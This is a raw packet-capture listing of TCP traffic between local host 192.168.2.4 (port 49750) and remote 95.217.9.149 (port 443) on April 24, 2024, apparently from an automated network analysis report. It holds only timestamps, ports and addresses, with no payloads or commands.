Apr 24, 2024 07:37:19.458944082 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.458955050 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.473738909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.473784924 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.473828077 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.473836899 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.473870039 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.473887920 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.492067099 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.492130041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.492189884 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.492203951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.492234945 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.492253065 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.507008076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.507051945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.507085085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.507093906 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.507118940 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.507132053 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.523811102 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.523854971 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.523890018 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.523896933 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.523933887 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.523943901 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.538714886 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.538755894 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.538877010 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.538893938 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.538963079 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.552179098 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.552210093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.552270889 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.552311897 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.552330017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.552350044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.565289974 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.565335035 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.565443993 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.565466881 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.565510988 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.579499960 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.579545975 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.579619884 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.579632044 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.579710007 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.592209101 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.592243910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.592331886 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.592341900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.592384100 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.603609085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.603625059 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.603708029 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.603718042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.603760004 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.616703033 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.616718054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.616786957 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.616796970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.616826057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.616846085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.629240990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.629256010 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.629340887 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.629348993 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.629389048 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.644295931 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.644311905 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.644377947 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.644386053 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.644427061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.654511929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.654558897 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.654606104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.654613972 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.654643059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.654656887 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.666069984 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.666085958 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.666146994 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.666156054 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.666197062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.675772905 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.675786972 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.675843000 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.675852060 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.675890923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.685920954 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.685939074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.685981989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.685991049 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.686002016 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.686028004 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.696657896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.696680069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.696742058 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.696749926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.696778059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.696794987 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.705887079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.705904007 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.705971956 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.705981016 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.706017971 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.716181040 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.716197014 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.716279030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.716289997 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.716331959 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.724225998 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.724241972 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.724318027 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.724328041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.724369049 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.734235048 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.734261990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.734370947 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.734380960 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.734427929 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.742671967 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.742687941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.742763996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.742772102 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.742814064 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.752149105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.752165079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.752250910 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.752260923 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.752305031 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.761253119 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.761271000 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.761362076 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.761372089 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.761409998 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.769184113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.769201994 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.769275904 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.769285917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.769323111 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.778229952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.778245926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.778323889 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.778333902 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.778373003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.786076069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.786092997 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.786170006 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.786185026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.786262989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.794487000 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.794502974 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.794574022 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.794585943 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.794634104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.802020073 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.802035093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.802103043 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.802109957 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.802167892 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.810754061 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.810825109 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.810867071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.810878038 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.810904980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.810914993 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.818348885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.818398952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.818425894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.818435907 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.818464041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.818480968 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.826791048 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.826838017 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.826899052 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.826910019 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.826925039 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.826952934 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.834105015 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.834151030 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.834197044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.834208965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.834232092 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.834249973 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.840940952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.840966940 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.841026068 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.841037035 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.841051102 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.841075897 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.848553896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.848576069 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.848640919 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.848649979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.848690033 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.855457067 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.855485916 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.855529070 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.855537891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.855561972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.855576038 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.863363028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.863388062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.863439083 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.863449097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.863461971 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.863486052 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.869965076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.869991064 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.870050907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.870063066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.870104074 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.877279043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.877305031 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.877386093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.877401114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.877435923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.883754015 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.883781910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.883899927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.883919954 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.883960962 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.890996933 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.891031027 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.891103983 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.891127110 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.891182899 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.897003889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.897027969 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.897098064 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.897109985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.897150040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.904244900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.904268026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.904376030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.904412985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.904457092 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.910739899 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.910768032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.910844088 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.910856009 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.910897970 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.916863918 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.916883945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.916996002 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.917016983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.917053938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.923574924 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.923597097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.923711061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.923722982 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.923763990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.929359913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.929384947 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.929466963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.929480076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.929521084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.935448885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.935472965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.935565948 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.935579062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.935636044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.941312075 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.941338062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.941411972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.941425085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.941468954 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.947500944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.947525978 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.947591066 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.947601080 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.947643042 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.954709053 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.954735041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.954782963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.954793930 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.954818964 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.954838991 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.963787079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.963810921 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.963881969 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.963891983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.963932037 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.969552994 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.969578981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.969636917 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.969645977 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.969686031 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.974850893 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.974873066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.974935055 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.974945068 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.974982977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.980176926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.980201960 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.980257988 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.980268002 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.980285883 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.980304003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.985883951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.985907078 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.985979080 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.985986948 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.986026049 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.991667986 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.991697073 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.991755962 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.991765022 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.991803885 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.996788979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.996810913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.996885061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:19.996896029 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:19.996934891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.002511978 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.002537012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.002599001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.002608061 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.002644062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.007828951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.007853031 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.007919073 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.007934093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.007972002 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.012882948 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.012909889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.012972116 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.012981892 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.013000011 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.013020992 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.017433882 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.017457962 CEST	443	49750	95.217.9.149	192.168.2.4
